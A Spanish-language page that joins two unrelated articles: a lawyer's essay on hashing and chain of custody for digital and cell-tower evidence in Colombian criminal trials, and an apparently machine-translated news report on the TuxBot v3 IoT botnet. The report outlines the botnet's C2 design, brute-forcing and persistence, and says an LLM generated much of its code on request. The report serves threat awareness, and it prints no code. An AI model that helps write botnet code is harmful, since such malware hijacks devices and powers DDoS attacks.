El artículo 275 del Código de Procedimiento Penal colombiano (Ley 906 de 2004) reconoce los mensajes de datos como elemento material probatorio. Pero ese reconocimiento no opera en el vacío: la evidencia electrónica tiene que haber sido recolectada, etiquetada, preservada y transportada siguiendo procedimientos que garanticen que lo que se presenta ante el juez es lo mismo, sin alteración, que lo que existía en el momento de los hechos.
Ese principio tiene nombre en el mundo del derecho anglosajón —del que bebemos mucho en el sistema acusatorio— y en Colombia lo aplicamos a través de lo que llamamos el principio de mismidad.
El principio de mismidad: el argumento que la defensa siempre intentará tumbar
El principio de mismidad de la evidencia exige que el elemento probatorio presentado al juez sea idéntico al que se recolectó en la escena. Cualquier diferencia, por mínima que sea, puede ser utilizada por la defensa para solicitar la exclusión de la prueba por violación al debido proceso probatorio.
¿Cómo se garantiza la mismidad en evidencia digital? A través de los valores hash criptográficos.
Un hash es una huella digital matemática de un archivo o conjunto de datos. El estándar más ampliamente utilizado en forensia digital es el SHA-256. Funciona así: en el momento de la recolección, el sistema genera automáticamente un código alfanumérico único para los datos capturados. Si un solo bit de esa información cambia —por error, por manipulación o por cualquier otra causa— el hash cambia completamente. Y si el hash que se presenta en el juicio no coincide con el hash que se registró en campo, la defensa tiene un argumento sólido para cuestionar la integridad de la evidencia.
Aquí está el problema práctico: si la herramienta con la que se recolectó la información no genera hash automático en el momento de la captura, la cadena de custodia tiene un hueco que ningún informe pericial posterior puede cerrar.
¿Qué dice la norma internacional?
La comunidad internacional de forensia digital no dejó esto al azar. La norma ISO/IEC 27037:2012 —que en Colombia se aplica como referente técnico en procesos de investigación criminal con componente digital— establece directrices específicas para la identificación, recolección, adquisición y preservación de evidencia digital. Su punto de partida es claro: la evidencia digital debe ser manejada de manera que se preserve su integridad, su autenticidad y su confiabilidad desde el momento de su identificación hasta su presentación ante la autoridad competente.
Complementariamente, la RFC 3227 —guía de mejores prácticas del IETF para la recolección y archivo de evidencia digital— establece el orden de volatilidad que debe guiar la recolección y enfatiza que el procedimiento debe ser documentado de forma que pueda ser auditado y reproducido.
Ninguna de estas normas es de cumplimiento obligatorio en Colombia mediante ley. Pero en el escenario del contrainterrogatorio, cuando un experto de la defensa pregunta al investigador de campo “¿bajo qué norma técnica fue recolectada esta información?”, la incapacidad de responder con precisión siembra duda. Y en el sistema acusatorio, la duda trabaja para la defensa.
El escenario de la telefonía móvil: un caso especialmente crítico
Quiero detenerme en el contexto específico de la investigación basada en telefonía celular, porque es donde he visto las inconsistencias más frecuentes y las más costosas en términos procesales.
Cuando un fiscal necesita demostrar que una persona estuvo en determinado lugar a determinada hora, uno de los caminos más utilizados es el análisis de los Registros Detallados de Llamadas (CDRs) suministrados por los operadores celulares. Pero ese análisis requiere un paso previo que muchos dan por sentado sin ejecutarlo correctamente: el inventario forense de las estaciones base (BTS) que dan cobertura en el área de los hechos.
¿Por qué es crítico ese inventario? Porque los CDRs no identifican una ubicación geográfica exacta por sí solos. Identifican la antena a la que se conectó el dispositivo. Si no existe un inventario riguroso y documentado de qué antenas estaban activas, en qué frecuencias y bajo qué tecnología (2G, 3G, 4G, 5G) en el momento de los hechos, el análisis de los CDRs pierde precisión y, peor aún, pierde credibilidad frente al juez.
Ahora bien: ¿cómo se hace ese inventario correctamente?
En primer lugar, debe hacerse en el sitio, porque las condiciones de cobertura varían según el entorno físico. No es lo mismo hacer el inventario desde una oficina con la base de datos de un operador que hacerlo en campo con dispositivos que recreen las condiciones reales de conectividad del momento de los hechos.
En segundo lugar, los datos del inventario deben registrarse con todos los parámetros técnicos identificadores: MCC, MNC, LAC/TAC, CID, NODE, banda de frecuencia, tipo de tecnología, coordenadas geográficas, operador, entre otros según la tecnología (2G, 3G, 4G y 5G). La omisión de cualquiera de estos parámetros puede ser utilizada para cuestionar la correspondencia entre las antenas inventariadas y las antenas que aparecen en los CDRs.
En tercer lugar —y aquí regresamos al punto del principio de mismidad— esa información debe quedar sellada con un hash criptográfico desde el momento de su captura, de forma que no sea posible modificarla posteriormente sin que el sistema lo detecte.
La pregunta que el juez hará y que la investigación debe poder responder
En mi experiencia acompañando procesos, hay una pregunta que aparece con una frecuencia inquietante en las audiencias preparatorias y de juicio oral cuando se discute evidencia de telefonía: “¿Cómo garantiza usted que la información que presenta hoy es exactamente la misma que fue recolectada en campo, sin modificación alguna?”
Si el investigador puede responder: “Señoría, el sistema generó un hash SHA-256 en el momento de la captura. El hash del archivo original y el hash del archivo que estoy presentando son idénticos, y así consta en el informe de campo”, la cadena de custodia digital está blindada.
Si la respuesta es: “Los datos fueron recolectados manualmente y exportados a una hoja de cálculo”, la puerta está abierta.
La diferencia entre una respuesta y otra no depende solo del investigador. Depende de la herramienta que utiliza.
Una reflexión final sobre la responsabilidad institucional
Esta no es solo una discusión técnica. Es una discusión sobre la efectividad del sistema de justicia.
Cuando una evidencia legítima es excluida por un defecto de procedimiento en la recolección, no pierde solo la fiscalía. Pierde la víctima, que ve cómo un proceso válido se cae por razones que poco tienen que ver con la verdad de los hechos. Y pierde la institución, que invirtió tiempo, recursos humanos y presupuesto en una investigación que no pudo llegar a buen término.
Las entidades de policía judicial y las fiscalías tienen la responsabilidad —y en muchos casos ya tienen la conciencia— de dotar a sus investigadores de herramientas que no solo funcionen, sino que funcionen conforme a los estándares que el proceso penal exige. Eso incluye la generación automática de hashes, la documentación estructurada de parámetros técnicos, la producción del informe de campo en formatos reconocidos por el sistema (como el FPJ-11), y la trazabilidad completa desde el momento de la captura.
No es un lujo investigativo. Es el piso mínimo de una investigación que puede sostenerse ante un juez.
La conversación sobre estándares en forensia de campo es urgente y debe darse entre quienes investigan, quienes acusan, quienes defienden y quienes juzgan.
Luisa Fernanda Barragán Ávila Abogada · Magíster en Derecho Digital
Investigadores de ciberseguridad han revelado detalles de un marco de botnet de Internet de las cosas (IoT) no informado anteriormente denominado TuxBot v3 Evolución que muestra signos de haber sido desarrollado con la ayuda de un modelo de lenguaje grande (LLM), aunque con resultados no tan exitosos.
«Si bien la IA cumplió con su solicitud de generar código de botnet, incluyó un descargo de responsabilidad de seguridad que el desarrollador no eliminó antes del envío», Unidad 42 de Palo Alto Networks dicho. «Aunque el LLM claramente ayudó en la construcción de la botnet, varias funciones en las muestras analizadas no funcionaron correctamente».
La compañía de ciberseguridad dijo que una revisión manual del código habría resuelto estos errores y que es posible que existan iteraciones más pulidas del malware.
El marco de la botnet consta de varios componentes: un agente bot basado en C que realiza compilaciones cruzadas para múltiples arquitecturas (por ejemplo, ARM, MIPS, MIPSEL, MIPS64, x86_64, PowerPC y RISC-V), un servidor de comando y control (C2) basado en Go con un panel de alquiler de DDoS, una máquina virtual de exploits personalizada, una infraestructura de prueba basada en Docker y un sistema de compilación automatizado.
El agente bot está diseñado para forzar el acceso Telnet a dispositivos específicos con un conjunto de 1496 pares de credenciales, así como para incorporar código de explotación dirigido a más de 30 familias de dispositivos IoT que utilizan vulnerabilidades conocidas. Se comunica con el servidor C2 a través de un canal TCP cifrado, mientras recurre a un algoritmo de generación de dominio (DGA) SHA512, un protocolo de chismes de igual a igual (P2P) con comandos firmados por Ed25519, Internet Relay Chat (IRC), consultas DNS TXT y sondeo HTTP como mecanismo alternativo.
El linaje del marco modular se remonta a tres botnets diferentes, como Mirai, AISURU y Wuhan, además de trasladar parcialmente algunas de sus funciones del código abierto. Kit de herramientas MHDDoS Python DDoS. Al menos una muestra del malware fue subido a la plataforma VirusTotal el 20 de enero de 2026, lo que indica que existe desde hace más de seis meses. La evidencia sugiere que el trabajo en la botnet comenzó un año antes, cuando el autor clonó el repositorio MHDDoS de GitHub.
«Según la descripción del marco, el desarrollador de TuxBot construyó lo que llamaron una plataforma de marco C2 de nivel profesional con un panel de administración multiusuario, implementación automatizada y capacidades de ataque modular», dijeron los investigadores Chris Navarrete, Asher Davila y Doel Santos.
El componente del servidor C2 basado en Go utiliza tres puertos TCP diferentes para las conexiones entrantes:
Puerto TCP 1999 (o 31337), que se utiliza para manejar el envío de comandos cifrados a los bots conectados
Puerto TCP 2222, que presenta un shell interactivo para operadores a través de SSH
Puerto TCP 9999, que utiliza una interfaz JSON para acceso programático
Una vez lanzada, la botnet sigue una secuencia de inicialización predefinida para realizar una serie de acciones:
Carga de la dirección C2 desde una arquitectura de varios niveles con un canal principal y cinco mecanismos alternativos
Configurar protecciones anti-depuración y anti-VM que verifican la ejecución de herramientas de análisis
Ocultar su nombre de proceso
Instalando persistencia
Lanzar varios submódulos para montar ataques DDoS, finalizar procesos competitivos, establecer canales C2 a través de IRC, HTTP, DNS y P2P, ejecutar escáneres para Telnet, SSH, HTTP y Android Debug Bridge (ADB), generar un proxy SOCKS5 y ejecutar un marcador de posición de minería de criptomonedas.
El escáner HTTP dedicado, en particular, puede gestionar hasta 128 conexiones simultáneas en cualquier momento dado, funcionando con el objetivo de descubrir interfaces web vulnerables. La persistencia, por otro lado, se logra mediante un servicio systemd, entradas cron y un proceso de vigilancia para garantizar que TuxBot permanezca operativo en la máquina comprometida.
«Varios archivos contienen razonamientos de cadena de pensamiento de LLM sin procesar, dejados palabra por palabra en los comentarios», dijo Unit42. «Estos comentarios son el razonamiento interno del LLM mientras trabajaba en las tareas de transferencia. Este razonamiento se completa con autointerrupciones, decisiones y referencias al ‘usuario’ (es decir, el desarrollador que solicitó el LLM)».
Aunque TuxBot v3 Evolution es una botnet en desarrollo, las funciones de trabajo principales, junto con su dependencia de la IA, indican una integración acelerada de características, al mismo tiempo que permiten que lo que parece ser un solo desarrollador cree un conjunto de herramientas multifacético con múltiples canales C2, una máquina virtual de exploit personalizada y un panel de alquiler de DDoS basado en Go.
«La infraestructura compartida con Kaitori v3.9 y las herramientas AISURU coloca al operador TuxBot dentro del ecosistema Keksec», concluyó la Unidad 42. «Este grupo es conocido por ejecutar múltiples variantes de botnet IoT en paralelo. TuxBot parece ser otra variante en esa cartera. Es una que apunta a ir más allá de la bifurcación Mirai habitual con su C2 cifrado, su DGA y un sistema de explotación modular, aunque ese sistema aún no funciona en la versión que recuperamos».
La divulgación se produce tras la aparición de otras dos botnets llamadas RustDuck y AryStinger, que se han dirigido a enrutadores, cámaras IP, dispositivos Android y servidores mal protegidos para incorporarlos a una red creada para prestar servicios en línea fuera de línea y realizar reconocimientos.
